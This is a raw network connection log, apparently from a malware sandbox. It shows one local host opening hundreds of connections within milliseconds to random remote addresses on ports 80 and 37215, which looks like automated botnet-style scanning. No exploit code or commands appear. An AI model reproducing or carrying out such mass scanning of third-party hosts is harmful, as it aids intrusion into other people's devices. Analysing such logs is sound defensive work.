Dec 3, 2024 21:30:46.119663954 CET	59010	80	192.168.2.23	59.187.77.8
Dec 3, 2024 21:30:46.119669914 CET	59010	80	192.168.2.23	110.2.137.74
Dec 3, 2024 21:30:46.119669914 CET	59010	80	192.168.2.23	221.58.78.34
Dec 3, 2024 21:30:46.119669914 CET	59010	80	192.168.2.23	84.218.206.143
Dec 3, 2024 21:30:46.119673014 CET	59010	80	192.168.2.23	114.21.241.8
Dec 3, 2024 21:30:46.119677067 CET	59010	80	192.168.2.23	101.176.15.41
Dec 3, 2024 21:30:46.119678020 CET	59010	80	192.168.2.23	99.227.224.153
Dec 3, 2024 21:30:46.119687080 CET	59010	80	192.168.2.23	114.136.86.84
Dec 3, 2024 21:30:46.119687080 CET	59010	80	192.168.2.23	113.145.253.50
Dec 3, 2024 21:30:46.119694948 CET	59010	80	192.168.2.23	44.126.255.84
Dec 3, 2024 21:30:46.119695902 CET	59010	80	192.168.2.23	129.190.114.192
Dec 3, 2024 21:30:46.119716883 CET	59010	80	192.168.2.23	134.235.64.21
Dec 3, 2024 21:30:46.119719028 CET	59010	80	192.168.2.23	209.203.16.136
Dec 3, 2024 21:30:46.119719028 CET	59010	80	192.168.2.23	74.205.224.178
Dec 3, 2024 21:30:46.119720936 CET	59010	80	192.168.2.23	165.212.62.126
Dec 3, 2024 21:30:46.119728088 CET	59010	80	192.168.2.23	221.121.160.112
Dec 3, 2024 21:30:46.119744062 CET	59010	80	192.168.2.23	145.46.156.20
Dec 3, 2024 21:30:46.119744062 CET	59010	80	192.168.2.23	25.67.156.80
Dec 3, 2024 21:30:46.119755030 CET	59010	80	192.168.2.23	50.222.58.67
Dec 3, 2024 21:30:46.119765043 CET	59010	80	192.168.2.23	184.15.167.192
Dec 3, 2024 21:30:46.119765043 CET	59010	80	192.168.2.23	132.73.225.91
Dec 3, 2024 21:30:46.119770050 CET	59010	80	192.168.2.23	216.4.98.223
Dec 3, 2024 21:30:46.119775057 CET	59010	80	192.168.2.23	159.250.30.229
Dec 3, 2024 21:30:46.119785070 CET	59010	80	192.168.2.23	119.114.42.97
Dec 3, 2024 21:30:46.119785070 CET	59010	80	192.168.2.23	114.253.52.202
Dec 3, 2024 21:30:46.119785070 CET	59010	80	192.168.2.23	50.252.248.169
Dec 3, 2024 21:30:46.119791031 CET	59010	80	192.168.2.23	69.124.104.125
Dec 3, 2024 21:30:46.119807959 CET	59010	80	192.168.2.23	185.20.170.117
Dec 3, 2024 21:30:46.119808912 CET	59010	80	192.168.2.23	58.76.161.86
Dec 3, 2024 21:30:46.119810104 CET	59010	80	192.168.2.23	143.187.244.160
Dec 3, 2024 21:30:46.119810104 CET	59010	80	192.168.2.23	183.111.85.102
Dec 3, 2024 21:30:46.119817019 CET	59010	80	192.168.2.23	199.17.53.248
Dec 3, 2024 21:30:46.119822025 CET	59010	80	192.168.2.23	149.110.181.12
Dec 3, 2024 21:30:46.119834900 CET	59010	80	192.168.2.23	216.0.52.127
Dec 3, 2024 21:30:46.119837999 CET	59010	80	192.168.2.23	101.132.24.115
Dec 3, 2024 21:30:46.119842052 CET	59010	80	192.168.2.23	210.22.86.145
Dec 3, 2024 21:30:46.119848013 CET	59010	80	192.168.2.23	48.177.11.151
Dec 3, 2024 21:30:46.119857073 CET	59010	80	192.168.2.23	2.227.210.175
Dec 3, 2024 21:30:46.119862080 CET	59010	80	192.168.2.23	42.64.161.40
Dec 3, 2024 21:30:46.119877100 CET	59010	80	192.168.2.23	80.68.86.109
Dec 3, 2024 21:30:46.119930983 CET	59009	37215	192.168.2.23	156.82.54.113
Dec 3, 2024 21:30:46.119936943 CET	59009	37215	192.168.2.23	156.180.78.108
Dec 3, 2024 21:30:46.119946003 CET	59009	37215	192.168.2.23	197.100.143.25
Dec 3, 2024 21:30:46.119949102 CET	59009	37215	192.168.2.23	197.126.173.19
Dec 3, 2024 21:30:46.119960070 CET	59009	37215	192.168.2.23	41.8.0.139
Dec 3, 2024 21:30:46.119965076 CET	59009	37215	192.168.2.23	197.139.251.236
Dec 3, 2024 21:30:46.119971991 CET	59009	37215	192.168.2.23	156.104.250.195
Dec 3, 2024 21:30:46.119971991 CET	59009	37215	192.168.2.23	41.101.102.164
Dec 3, 2024 21:30:46.119983912 CET	59009	37215	192.168.2.23	156.42.7.124
Dec 3, 2024 21:30:46.119987011 CET	59009	37215	192.168.2.23	197.8.119.243
Dec 3, 2024 21:30:46.119993925 CET	59009	37215	192.168.2.23	197.85.86.235
Dec 3, 2024 21:30:46.120002985 CET	59009	37215	192.168.2.23	197.30.25.250
Dec 3, 2024 21:30:46.120006084 CET	59009	37215	192.168.2.23	41.152.208.77
Dec 3, 2024 21:30:46.120014906 CET	59009	37215	192.168.2.23	197.114.105.61
Dec 3, 2024 21:30:46.120104074 CET	59009	37215	192.168.2.23	41.228.14.65
Dec 3, 2024 21:30:46.120106936 CET	59009	37215	192.168.2.23	156.59.15.186
Dec 3, 2024 21:30:46.120125055 CET	59009	37215	192.168.2.23	156.221.73.122
Dec 3, 2024 21:30:46.120126963 CET	59009	37215	192.168.2.23	156.185.232.203
Dec 3, 2024 21:30:46.120132923 CET	59009	37215	192.168.2.23	41.87.81.229
Dec 3, 2024 21:30:46.120136976 CET	59009	37215	192.168.2.23	41.175.87.74
Dec 3, 2024 21:30:46.120142937 CET	59009	37215	192.168.2.23	197.68.67.252
Dec 3, 2024 21:30:46.120146990 CET	59009	37215	192.168.2.23	197.145.126.68
Dec 3, 2024 21:30:46.120153904 CET	59009	37215	192.168.2.23	41.44.149.166
Dec 3, 2024 21:30:46.120158911 CET	59009	37215	192.168.2.23	197.145.16.248
Dec 3, 2024 21:30:46.120167971 CET	59009	37215	192.168.2.23	41.100.96.58
Dec 3, 2024 21:30:46.120187044 CET	59009	37215	192.168.2.23	156.98.167.238
Dec 3, 2024 21:30:46.120188951 CET	59009	37215	192.168.2.23	197.133.74.205
Dec 3, 2024 21:30:46.120188951 CET	59009	37215	192.168.2.23	197.173.108.0
Dec 3, 2024 21:30:46.120189905 CET	59009	37215	192.168.2.23	41.75.51.118
Dec 3, 2024 21:30:46.120198965 CET	59009	37215	192.168.2.23	156.201.60.97
Dec 3, 2024 21:30:46.120209932 CET	59009	37215	192.168.2.23	197.156.181.56
Dec 3, 2024 21:30:46.120217085 CET	59009	37215	192.168.2.23	197.194.64.8
Dec 3, 2024 21:30:46.120219946 CET	59009	37215	192.168.2.23	41.51.104.46
Dec 3, 2024 21:30:46.120219946 CET	59009	37215	192.168.2.23	41.195.26.180
Dec 3, 2024 21:30:46.120225906 CET	59009	37215	192.168.2.23	41.119.123.250
Dec 3, 2024 21:30:46.120233059 CET	59009	37215	192.168.2.23	197.242.252.74
Dec 3, 2024 21:30:46.120242119 CET	59009	37215	192.168.2.23	197.77.126.200
Dec 3, 2024 21:30:46.120249033 CET	59009	37215	192.168.2.23	197.79.156.181
Dec 3, 2024 21:30:46.120249033 CET	59009	37215	192.168.2.23	156.73.192.167
Dec 3, 2024 21:30:46.120261908 CET	59009	37215	192.168.2.23	41.137.124.71
Dec 3, 2024 21:30:46.120264053 CET	59009	37215	192.168.2.23	197.28.22.143
Dec 3, 2024 21:30:46.120270014 CET	59009	37215	192.168.2.23	41.52.79.30
Dec 3, 2024 21:30:46.120275974 CET	59009	37215	192.168.2.23	197.2.24.87
Dec 3, 2024 21:30:46.120284081 CET	59009	37215	192.168.2.23	156.227.122.85
Dec 3, 2024 21:30:46.120284081 CET	59009	37215	192.168.2.23	197.184.75.216
Dec 3, 2024 21:30:46.120285034 CET	59009	37215	192.168.2.23	41.123.216.118
Dec 3, 2024 21:30:46.120292902 CET	59009	37215	192.168.2.23	41.135.228.196
Dec 3, 2024 21:30:46.120304108 CET	59009	37215	192.168.2.23	156.136.176.106
Dec 3, 2024 21:30:46.120306969 CET	59009	37215	192.168.2.23	41.18.240.117
Dec 3, 2024 21:30:46.120306969 CET	59009	37215	192.168.2.23	41.197.116.240
Dec 3, 2024 21:30:46.120311975 CET	59009	37215	192.168.2.23	41.65.152.77
Dec 3, 2024 21:30:46.120326042 CET	59009	37215	192.168.2.23	197.140.98.7
Dec 3, 2024 21:30:46.120326996 CET	59009	37215	192.168.2.23	197.222.1.81
Dec 3, 2024 21:30:46.120337009 CET	59009	37215	192.168.2.23	197.200.221.112
Dec 3, 2024 21:30:46.120347023 CET	59009	37215	192.168.2.23	41.158.87.42
Dec 3, 2024 21:30:46.120351076 CET	59009	37215	192.168.2.23	197.216.243.215
Dec 3, 2024 21:30:46.120349884 CET	59009	37215	192.168.2.23	156.207.181.74
Dec 3, 2024 21:30:46.120361090 CET	59009	37215	192.168.2.23	41.81.249.136
Dec 3, 2024 21:30:46.120369911 CET	59009	37215	192.168.2.23	41.157.55.188
Dec 3, 2024 21:30:46.120373011 CET	59009	37215	192.168.2.23	156.47.246.196
Dec 3, 2024 21:30:46.120373011 CET	59009	37215	192.168.2.23	156.201.199.247
Dec 3, 2024 21:30:46.120383978 CET	59009	37215	192.168.2.23	41.235.244.36
Dec 3, 2024 21:30:46.120388985 CET	59009	37215	192.168.2.23	156.75.224.66
Dec 3, 2024 21:30:46.120394945 CET	59009	37215	192.168.2.23	156.21.43.201
Dec 3, 2024 21:30:46.120404959 CET	59009	37215	192.168.2.23	156.67.3.90
Dec 3, 2024 21:30:46.120405912 CET	59009	37215	192.168.2.23	41.35.210.116
Dec 3, 2024 21:30:46.120409012 CET	59009	37215	192.168.2.23	197.6.237.230
Dec 3, 2024 21:30:46.120409012 CET	59009	37215	192.168.2.23	197.85.163.58
Dec 3, 2024 21:30:46.120414972 CET	59009	37215	192.168.2.23	156.78.235.167
Dec 3, 2024 21:30:46.120419025 CET	59009	37215	192.168.2.23	41.166.198.138
Dec 3, 2024 21:30:46.120426893 CET	59009	37215	192.168.2.23	41.127.37.5
Dec 3, 2024 21:30:46.120434999 CET	59009	37215	192.168.2.23	41.130.58.9
Dec 3, 2024 21:30:46.120446920 CET	59009	37215	192.168.2.23	197.215.115.166
Dec 3, 2024 21:30:46.120464087 CET	59009	37215	192.168.2.23	41.107.196.76
Dec 3, 2024 21:30:46.120464087 CET	59009	37215	192.168.2.23	156.27.247.202
Dec 3, 2024 21:30:46.120466948 CET	59009	37215	192.168.2.23	156.142.236.61
Dec 3, 2024 21:30:46.120471954 CET	59009	37215	192.168.2.23	41.159.124.98
Dec 3, 2024 21:30:46.120471954 CET	59009	37215	192.168.2.23	41.225.182.114
Dec 3, 2024 21:30:46.120471954 CET	59009	37215	192.168.2.23	197.87.197.55
Dec 3, 2024 21:30:46.120472908 CET	59009	37215	192.168.2.23	41.222.32.241
Dec 3, 2024 21:30:46.120482922 CET	59009	37215	192.168.2.23	156.26.3.122
Dec 3, 2024 21:30:46.120490074 CET	59009	37215	192.168.2.23	156.46.84.43
Dec 3, 2024 21:30:46.120493889 CET	59009	37215	192.168.2.23	197.118.107.181
Dec 3, 2024 21:30:46.120511055 CET	59009	37215	192.168.2.23	41.119.67.147
Dec 3, 2024 21:30:46.120512009 CET	59009	37215	192.168.2.23	197.70.81.76
Dec 3, 2024 21:30:46.120517015 CET	59009	37215	192.168.2.23	41.9.241.24
Dec 3, 2024 21:30:46.120526075 CET	59009	37215	192.168.2.23	41.116.175.117
Dec 3, 2024 21:30:46.120532990 CET	59009	37215	192.168.2.23	197.70.251.101
Dec 3, 2024 21:30:46.120533943 CET	59009	37215	192.168.2.23	197.10.160.29
Dec 3, 2024 21:30:46.120548010 CET	59009	37215	192.168.2.23	41.116.123.168
Dec 3, 2024 21:30:46.120551109 CET	59009	37215	192.168.2.23	41.240.159.233
Dec 3, 2024 21:30:46.120563030 CET	59009	37215	192.168.2.23	41.131.191.103
Dec 3, 2024 21:30:46.120567083 CET	59009	37215	192.168.2.23	156.2.171.118
Dec 3, 2024 21:30:46.120567083 CET	59009	37215	192.168.2.23	156.249.181.26
Dec 3, 2024 21:30:46.120584011 CET	59009	37215	192.168.2.23	156.101.123.16
Dec 3, 2024 21:30:46.120585918 CET	59009	37215	192.168.2.23	156.80.89.187
Dec 3, 2024 21:30:46.120585918 CET	59009	37215	192.168.2.23	197.125.147.7
Dec 3, 2024 21:30:46.120604992 CET	59009	37215	192.168.2.23	41.58.226.143
Dec 3, 2024 21:30:46.120604992 CET	59009	37215	192.168.2.23	41.81.4.84
Dec 3, 2024 21:30:46.120609045 CET	59009	37215	192.168.2.23	156.114.130.155
Dec 3, 2024 21:30:46.120620966 CET	59009	37215	192.168.2.23	156.59.44.207
Dec 3, 2024 21:30:46.120625019 CET	59009	37215	192.168.2.23	197.149.106.1
Dec 3, 2024 21:30:46.120626926 CET	59009	37215	192.168.2.23	41.114.193.214
Dec 3, 2024 21:30:46.120640993 CET	59009	37215	192.168.2.23	41.1.22.248
Dec 3, 2024 21:30:46.120641947 CET	59009	37215	192.168.2.23	41.61.27.181
Dec 3, 2024 21:30:46.120656013 CET	59009	37215	192.168.2.23	197.5.21.163
Dec 3, 2024 21:30:46.120660067 CET	59009	37215	192.168.2.23	41.158.155.7
Dec 3, 2024 21:30:46.120661974 CET	59009	37215	192.168.2.23	41.18.40.156
Dec 3, 2024 21:30:46.120675087 CET	59009	37215	192.168.2.23	197.48.15.7
Dec 3, 2024 21:30:46.120675087 CET	59009	37215	192.168.2.23	156.83.147.236
Dec 3, 2024 21:30:46.120676041 CET	59009	37215	192.168.2.23	41.186.46.85
Dec 3, 2024 21:30:46.120693922 CET	59009	37215	192.168.2.23	197.74.7.145
Dec 3, 2024 21:30:46.120697021 CET	59009	37215	192.168.2.23	156.90.46.19
Dec 3, 2024 21:30:46.120702982 CET	59009	37215	192.168.2.23	41.246.102.136
Dec 3, 2024 21:30:46.120703936 CET	59009	37215	192.168.2.23	41.139.170.164
Dec 3, 2024 21:30:46.120703936 CET	59009	37215	192.168.2.23	156.192.195.212
Dec 3, 2024 21:30:46.120718956 CET	59009	37215	192.168.2.23	41.209.239.70
Dec 3, 2024 21:30:46.120721102 CET	59009	37215	192.168.2.23	197.209.43.164
Dec 3, 2024 21:30:46.120722055 CET	59009	37215	192.168.2.23	156.56.103.242
Dec 3, 2024 21:30:46.120723963 CET	59009	37215	192.168.2.23	197.78.190.120
Dec 3, 2024 21:30:46.120723963 CET	59009	37215	192.168.2.23	156.180.71.114
Dec 3, 2024 21:30:46.120740891 CET	59009	37215	192.168.2.23	197.92.18.215
Dec 3, 2024 21:30:46.120745897 CET	59009	37215	192.168.2.23	197.156.36.42
Dec 3, 2024 21:30:46.120747089 CET	59009	37215	192.168.2.23	156.123.99.0
Dec 3, 2024 21:30:46.120754957 CET	59009	37215	192.168.2.23	41.2.28.108
Dec 3, 2024 21:30:46.120757103 CET	59009	37215	192.168.2.23	41.46.165.147
Dec 3, 2024 21:30:46.120762110 CET	59009	37215	192.168.2.23	197.47.149.220
Dec 3, 2024 21:30:46.120770931 CET	59009	37215	192.168.2.23	197.43.99.243
Dec 3, 2024 21:30:46.120780945 CET	59009	37215	192.168.2.23	41.254.53.164
Dec 3, 2024 21:30:46.120791912 CET	59009	37215	192.168.2.23	156.224.20.38
Dec 3, 2024 21:30:46.120796919 CET	59009	37215	192.168.2.23	197.70.104.80
Dec 3, 2024 21:30:46.120805025 CET	59009	37215	192.168.2.23	156.101.135.211
Dec 3, 2024 21:30:46.120810986 CET	59009	37215	192.168.2.23	41.74.183.161
Dec 3, 2024 21:30:46.120810986 CET	59009	37215	192.168.2.23	41.208.249.131
Dec 3, 2024 21:30:46.120815992 CET	59009	37215	192.168.2.23	41.24.153.36
Dec 3, 2024 21:30:46.120830059 CET	59009	37215	192.168.2.23	41.105.52.239
Dec 3, 2024 21:30:46.120831966 CET	59009	37215	192.168.2.23	156.221.208.29
Dec 3, 2024 21:30:46.120831966 CET	59009	37215	192.168.2.23	41.111.43.216
Dec 3, 2024 21:30:46.120836020 CET	59009	37215	192.168.2.23	41.192.126.168
Dec 3, 2024 21:30:46.120847940 CET	59009	37215	192.168.2.23	197.93.89.58
Dec 3, 2024 21:30:46.120847940 CET	59009	37215	192.168.2.23	197.9.35.156
Dec 3, 2024 21:30:46.120861053 CET	59009	37215	192.168.2.23	41.73.178.83
Dec 3, 2024 21:30:46.120877028 CET	59009	37215	192.168.2.23	156.7.204.157
Dec 3, 2024 21:30:46.120877028 CET	59009	37215	192.168.2.23	197.228.1.196
Dec 3, 2024 21:30:46.120877981 CET	59009	37215	192.168.2.23	197.158.168.68
Dec 3, 2024 21:30:46.120886087 CET	59009	37215	192.168.2.23	197.96.100.88
Dec 3, 2024 21:30:46.120898008 CET	59009	37215	192.168.2.23	197.58.114.11
Dec 3, 2024 21:30:46.120903015 CET	59009	37215	192.168.2.23	156.145.180.136
Dec 3, 2024 21:30:46.120903969 CET	59009	37215	192.168.2.23	41.43.95.149
Dec 3, 2024 21:30:46.120913982 CET	59009	37215	192.168.2.23	156.251.112.237
Dec 3, 2024 21:30:46.120914936 CET	59009	37215	192.168.2.23	197.45.113.73
Dec 3, 2024 21:30:46.120920897 CET	59009	37215	192.168.2.23	156.15.176.19
Dec 3, 2024 21:30:46.120927095 CET	59009	37215	192.168.2.23	41.213.206.0
Dec 3, 2024 21:30:46.120937109 CET	59009	37215	192.168.2.23	41.97.236.43
Dec 3, 2024 21:30:46.120943069 CET	59009	37215	192.168.2.23	197.56.76.253
Dec 3, 2024 21:30:46.120950937 CET	59009	37215	192.168.2.23	197.121.55.75
Dec 3, 2024 21:30:46.120959997 CET	59009	37215	192.168.2.23	41.190.253.197
Dec 3, 2024 21:30:46.120959997 CET	59009	37215	192.168.2.23	41.67.189.23
Dec 3, 2024 21:30:46.120965958 CET	59009	37215	192.168.2.23	156.172.49.203
Dec 3, 2024 21:30:46.120975971 CET	59009	37215	192.168.2.23	197.144.230.76
Dec 3, 2024 21:30:46.120985985 CET	59009	37215	192.168.2.23	197.172.120.105
Dec 3, 2024 21:30:46.120986938 CET	59009	37215	192.168.2.23	41.14.153.114
Dec 3, 2024 21:30:46.120987892 CET	59009	37215	192.168.2.23	156.72.90.60
Dec 3, 2024 21:30:46.120991945 CET	59009	37215	192.168.2.23	197.6.53.172
Dec 3, 2024 21:30:46.120995998 CET	59009	37215	192.168.2.23	41.60.66.5
Dec 3, 2024 21:30:46.121002913 CET	59009	37215	192.168.2.23	197.73.74.46
Dec 3, 2024 21:30:46.121011972 CET	59009	37215	192.168.2.23	156.41.158.42
Dec 3, 2024 21:30:46.121011972 CET	59009	37215	192.168.2.23	41.26.52.71
Dec 3, 2024 21:30:46.121026993 CET	59009	37215	192.168.2.23	197.63.237.229
Dec 3, 2024 21:30:46.121026993 CET	59009	37215	192.168.2.23	156.84.60.94
Dec 3, 2024 21:30:46.121041059 CET	59009	37215	192.168.2.23	197.214.194.245
Dec 3, 2024 21:30:46.121042013 CET	59009	37215	192.168.2.23	41.172.149.157
Dec 3, 2024 21:30:46.121042967 CET	59009	37215	192.168.2.23	156.86.123.72
Dec 3, 2024 21:30:46.121068954 CET	59009	37215	192.168.2.23	197.55.113.89
Dec 3, 2024 21:30:46.121073008 CET	59009	37215	192.168.2.23	156.119.186.13
Dec 3, 2024 21:30:46.121076107 CET	59009	37215	192.168.2.23	156.107.214.123
Dec 3, 2024 21:30:46.121082067 CET	59009	37215	192.168.2.23	41.255.93.118
Dec 3, 2024 21:30:46.121084929 CET	59009	37215	192.168.2.23	41.164.122.225
Dec 3, 2024 21:30:46.121084929 CET	59009	37215	192.168.2.23	156.68.100.41
Dec 3, 2024 21:30:46.121084929 CET	59009	37215	192.168.2.23	197.23.103.39
Dec 3, 2024 21:30:46.121088982 CET	59009	37215	192.168.2.23	41.60.65.104
Dec 3, 2024 21:30:46.121092081 CET	59009	37215	192.168.2.23	197.157.99.103
Dec 3, 2024 21:30:46.121104002 CET	59009	37215	192.168.2.23	41.32.191.217
Dec 3, 2024 21:30:46.121104956 CET	59009	37215	192.168.2.23	41.194.81.176
Dec 3, 2024 21:30:46.121112108 CET	59009	37215	192.168.2.23	156.42.98.178
Dec 3, 2024 21:30:46.121123075 CET	59009	37215	192.168.2.23	197.32.16.165
Dec 3, 2024 21:30:46.121124029 CET	59009	37215	192.168.2.23	41.81.127.109
Dec 3, 2024 21:30:46.121128082 CET	59009	37215	192.168.2.23	41.124.39.113
Dec 3, 2024 21:30:46.121156931 CET	59009	37215	192.168.2.23	197.154.159.222
Dec 3, 2024 21:30:46.121156931 CET	59009	37215	192.168.2.23	197.210.34.233
Dec 3, 2024 21:30:46.121160984 CET	59009	37215	192.168.2.23	156.228.210.80
Dec 3, 2024 21:30:46.121165037 CET	59009	37215	192.168.2.23	41.29.242.199
Dec 3, 2024 21:30:46.121160984 CET	59009	37215	192.168.2.23	197.48.225.229
Dec 3, 2024 21:30:46.121167898 CET	59009	37215	192.168.2.23	197.2.133.91
Dec 3, 2024 21:30:46.121167898 CET	59009	37215	192.168.2.23	41.219.161.18
Dec 3, 2024 21:30:46.121160030 CET	59009	37215	192.168.2.23	41.245.115.234
Dec 3, 2024 21:30:46.121170044 CET	59009	37215	192.168.2.23	41.212.218.109
Dec 3, 2024 21:30:46.121170044 CET	59009	37215	192.168.2.23	41.26.252.236
Dec 3, 2024 21:30:46.121174097 CET	59009	37215	192.168.2.23	197.68.171.70
Dec 3, 2024 21:30:46.121179104 CET	59009	37215	192.168.2.23	41.57.142.97
Dec 3, 2024 21:30:46.121186972 CET	59009	37215	192.168.2.23	156.56.221.47
Dec 3, 2024 21:30:46.121191025 CET	59009	37215	192.168.2.23	156.194.163.85
Dec 3, 2024 21:30:46.121197939 CET	59009	37215	192.168.2.23	156.112.42.177
Dec 3, 2024 21:30:46.121202946 CET	59009	37215	192.168.2.23	156.223.17.100
Dec 3, 2024 21:30:46.121210098 CET	59009	37215	192.168.2.23	156.18.140.50
Dec 3, 2024 21:30:46.121211052 CET	59009	37215	192.168.2.23	41.121.212.152
Dec 3, 2024 21:30:46.121213913 CET	59009	37215	192.168.2.23	41.80.10.102
Dec 3, 2024 21:30:46.121213913 CET	59009	37215	192.168.2.23	41.114.53.194
Dec 3, 2024 21:30:46.121221066 CET	59009	37215	192.168.2.23	156.141.29.207
Dec 3, 2024 21:30:46.121236086 CET	59009	37215	192.168.2.23	156.245.168.237
Dec 3, 2024 21:30:46.121237040 CET	59009	37215	192.168.2.23	197.142.253.58
Dec 3, 2024 21:30:46.121244907 CET	59009	37215	192.168.2.23	156.124.65.23
Dec 3, 2024 21:30:46.121256113 CET	59009	37215	192.168.2.23	197.236.94.171
Dec 3, 2024 21:30:46.121258974 CET	59009	37215	192.168.2.23	41.198.219.122
Dec 3, 2024 21:30:46.121267080 CET	59009	37215	192.168.2.23	156.139.239.117
Dec 3, 2024 21:30:46.121277094 CET	59009	37215	192.168.2.23	197.164.179.244
Dec 3, 2024 21:30:46.121278048 CET	59009	37215	192.168.2.23	197.222.14.18
Dec 3, 2024 21:30:46.121284008 CET	59009	37215	192.168.2.23	41.171.208.223
Dec 3, 2024 21:30:46.121298075 CET	59009	37215	192.168.2.23	197.61.225.141
Dec 3, 2024 21:30:46.121300936 CET	59009	37215	192.168.2.23	156.177.154.196
Dec 3, 2024 21:30:46.121300936 CET	59009	37215	192.168.2.23	41.36.108.207
Dec 3, 2024 21:30:46.121305943 CET	59009	37215	192.168.2.23	156.139.109.58
Dec 3, 2024 21:30:46.121320009 CET	59009	37215	192.168.2.23	197.22.136.221
Dec 3, 2024 21:30:46.121320963 CET	59009	37215	192.168.2.23	41.202.173.173
Dec 3, 2024 21:30:46.121320963 CET	59009	37215	192.168.2.23	197.182.175.16
Dec 3, 2024 21:30:46.121320963 CET	59009	37215	192.168.2.23	197.109.177.210
Dec 3, 2024 21:30:46.121331930 CET	59009	37215	192.168.2.23	41.158.156.102
Dec 3, 2024 21:30:46.121332884 CET	59009	37215	192.168.2.23	41.130.4.6
Dec 3, 2024 21:30:46.121340036 CET	59009	37215	192.168.2.23	197.11.30.170
Dec 3, 2024 21:30:46.121354103 CET	59009	37215	192.168.2.23	197.0.254.217
Dec 3, 2024 21:30:46.121355057 CET	59009	37215	192.168.2.23	197.142.54.187
Dec 3, 2024 21:30:46.121356964 CET	59009	37215	192.168.2.23	41.153.25.5
Dec 3, 2024 21:30:46.121356964 CET	59009	37215	192.168.2.23	41.3.6.137
Dec 3, 2024 21:30:46.121366978 CET	59009	37215	192.168.2.23	41.223.128.201
Dec 3, 2024 21:30:46.121376038 CET	59009	37215	192.168.2.23	156.94.177.24
Dec 3, 2024 21:30:46.121387959 CET	59009	37215	192.168.2.23	156.74.221.174
Dec 3, 2024 21:30:46.121393919 CET	59009	37215	192.168.2.23	41.62.42.65
Dec 3, 2024 21:30:46.121397018 CET	59009	37215	192.168.2.23	41.167.118.8
Dec 3, 2024 21:30:46.121397018 CET	59009	37215	192.168.2.23	156.8.78.106
Dec 3, 2024 21:30:46.121397018 CET	59009	37215	192.168.2.23	41.109.250.11
Dec 3, 2024 21:30:46.121400118 CET	59009	37215	192.168.2.23	197.180.10.151
Dec 3, 2024 21:30:46.121407032 CET	59009	37215	192.168.2.23	197.180.87.40
Dec 3, 2024 21:30:46.121412039 CET	59009	37215	192.168.2.23	156.73.61.47
Dec 3, 2024 21:30:46.121429920 CET	59009	37215	192.168.2.23	156.96.218.192
Dec 3, 2024 21:30:46.121434927 CET	59009	37215	192.168.2.23	41.6.198.178
Dec 3, 2024 21:30:46.121442080 CET	59009	37215	192.168.2.23	156.220.15.137
Dec 3, 2024 21:30:46.121449947 CET	59009	37215	192.168.2.23	156.243.170.254
Dec 3, 2024 21:30:46.121460915 CET	59009	37215	192.168.2.23	156.143.44.147
Dec 3, 2024 21:30:46.121465921 CET	59009	37215	192.168.2.23	197.2.1.181
Dec 3, 2024 21:30:46.121467113 CET	59009	37215	192.168.2.23	197.28.149.136
Dec 3, 2024 21:30:46.121467113 CET	59009	37215	192.168.2.23	156.243.3.47
Dec 3, 2024 21:30:46.121474028 CET	59009	37215	192.168.2.23	156.97.106.209
Dec 3, 2024 21:30:46.121475935 CET	59009	37215	192.168.2.23	156.89.134.197
Dec 3, 2024 21:30:46.121503115 CET	59009	37215	192.168.2.23	156.114.128.18
Dec 3, 2024 21:30:46.121506929 CET	59009	37215	192.168.2.23	197.126.209.104
Dec 3, 2024 21:30:46.121507883 CET	59009	37215	192.168.2.23	41.142.223.68
Dec 3, 2024 21:30:46.121507883 CET	59009	37215	192.168.2.23	197.201.108.203
Dec 3, 2024 21:30:46.121507883 CET	59009	37215	192.168.2.23	41.43.12.86
Dec 3, 2024 21:30:46.121507883 CET	59009	37215	192.168.2.23	156.205.135.164
Dec 3, 2024 21:30:46.121509075 CET	59009	37215	192.168.2.23	41.102.0.149
Dec 3, 2024 21:30:46.121509075 CET	59009	37215	192.168.2.23	156.124.162.77
Dec 3, 2024 21:30:46.121507883 CET	59009	37215	192.168.2.23	156.205.223.195
Dec 3, 2024 21:30:46.121510983 CET	59009	37215	192.168.2.23	41.81.159.35
Dec 3, 2024 21:30:46.121507883 CET	59009	37215	192.168.2.23	41.21.57.206
Dec 3, 2024 21:30:46.121516943 CET	59009	37215	192.168.2.23	197.106.155.208
Dec 3, 2024 21:30:46.121516943 CET	59009	37215	192.168.2.23	156.192.219.65
Dec 3, 2024 21:30:46.121530056 CET	59009	37215	192.168.2.23	41.154.5.206
Dec 3, 2024 21:30:46.121537924 CET	59009	37215	192.168.2.23	41.24.254.154
Dec 3, 2024 21:30:46.121537924 CET	59009	37215	192.168.2.23	41.160.219.232
Dec 3, 2024 21:30:46.121551991 CET	59009	37215	192.168.2.23	41.172.225.167
Dec 3, 2024 21:30:46.121555090 CET	59009	37215	192.168.2.23	41.54.164.31
Dec 3, 2024 21:30:46.121555090 CET	59009	37215	192.168.2.23	41.183.133.237
Dec 3, 2024 21:30:46.121570110 CET	59009	37215	192.168.2.23	156.156.86.13
Dec 3, 2024 21:30:46.121571064 CET	59009	37215	192.168.2.23	197.81.164.217
Dec 3, 2024 21:30:46.121572971 CET	59009	37215	192.168.2.23	197.136.67.145
Dec 3, 2024 21:30:46.121576071 CET	59009	37215	192.168.2.23	41.181.237.127
Dec 3, 2024 21:30:46.121577978 CET	59009	37215	192.168.2.23	197.82.94.165
Dec 3, 2024 21:30:46.121584892 CET	59009	37215	192.168.2.23	197.171.142.54
Dec 3, 2024 21:30:46.121597052 CET	59009	37215	192.168.2.23	156.50.151.222
Dec 3, 2024 21:30:46.121603966 CET	59009	37215	192.168.2.23	156.146.37.223
Dec 3, 2024 21:30:46.121611118 CET	59009	37215	192.168.2.23	156.13.150.107
Dec 3, 2024 21:30:46.121618032 CET	59009	37215	192.168.2.23	41.84.202.112
Dec 3, 2024 21:30:46.121618032 CET	59009	37215	192.168.2.23	156.62.92.64
Dec 3, 2024 21:30:46.121618986 CET	59009	37215	192.168.2.23	41.187.132.102
Dec 3, 2024 21:30:46.121633053 CET	59009	37215	192.168.2.23	41.245.44.15
Dec 3, 2024 21:30:46.121633053 CET	59009	37215	192.168.2.23	156.224.103.138
Dec 3, 2024 21:30:46.121644974 CET	59009	37215	192.168.2.23	41.186.152.108
Dec 3, 2024 21:30:46.121651888 CET	59009	37215	192.168.2.23	41.39.143.249
Dec 3, 2024 21:30:46.121654987 CET	59009	37215	192.168.2.23	156.227.35.236
Dec 3, 2024 21:30:46.121665001 CET	59009	37215	192.168.2.23	197.120.180.66
Dec 3, 2024 21:30:46.121671915 CET	59009	37215	192.168.2.23	156.70.0.36
Dec 3, 2024 21:30:46.121673107 CET	59009	37215	192.168.2.23	41.135.207.176
Dec 3, 2024 21:30:46.121685982 CET	59009	37215	192.168.2.23	197.225.254.46
Dec 3, 2024 21:30:46.121685982 CET	59009	37215	192.168.2.23	156.27.117.45
